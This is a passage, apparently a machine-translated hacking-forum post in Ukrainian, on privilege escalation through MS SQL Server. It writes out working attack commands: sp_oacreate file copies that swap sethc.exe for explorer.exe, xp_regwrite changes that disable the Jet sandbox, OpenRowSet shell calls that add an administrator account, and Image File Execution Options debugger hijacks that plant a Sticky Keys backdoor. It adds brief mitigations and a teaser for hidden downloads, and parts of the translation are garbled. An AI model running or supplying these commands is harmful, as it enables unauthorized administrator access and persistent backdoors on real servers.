'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Цей оператор копіює sethc.exe до каталогу dllcache Declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Інші два оператори використовують sp_oacreate збережені процедури, які потребують odsole70.dll файлу, тому збереження цього файлу пов'язане з успіхом його створення. (2), xpsql.cpp: Помилка 5 з CreateProcess (рядок 737) Ця ситуація складніша, і про це говорять в Інтернеті EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Виберіть * з OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Виберіть * з OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Я перевірив пісочницю, щоб підняти права на це питання, але за моєю практикою цей відсоток успішності дуже низький, бо більшість серверів видалили c:\windows\system32\ias\ias.mdb. Потім можна спробувати викрадення зображень, звісно, викрадення зображень також умовне, 1 має існувати xp_regwrite цієї збереженої процедури 2 — це 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' не видалено Спочатку можна запитати, чи був захоплений закріплений ключ реєстру Виконавчий майстер... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Якщо запит не знаходить проблему, доказ видаляється, і при запиті sethc.exe неможливо виконати команду sql ВИКОНАВЧИЙ МАЙСТЕР.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Після 5 підключення до терміналу і перемикання телефон одразу переходить на робочий стіл, а потім додається його вручну.
Реєстр змінює порт терміналу
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Щодо запобігання викраденню зображень, це здебільшого досягається такими методами:
★ Закон про обмеження дозволів
Якщо користувач більше не має доступу до ключа реєстру, він не може змінити ці речі. Відкрийте редактор реєстру і перейдіть у HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, виберіть цей елемент, клацніть правою кнопкою миші - > дозволи - > розширено, і зменшіть права адміністратора та системних користувачів (тут потрібно просто скасувати операцію запису).
★ Метод швидкого різання неакуратної коноплі ножем
Відкрийте редактор реєстру і перейдіть до панелі
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Проблему можна вирішити, безпосередньо видаливши пункт Опції виконання файлу зображення.
Команда SQL захоплює бекдор із встановлення закріпленого ключа реєстру xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ',''C:\WINDOWS\system32\kdsn.exe'
Завантаження програмного забезпечення:Туристи, якщо ви хочете побачити прихований контент цього допису, будь ласка Відповідь
|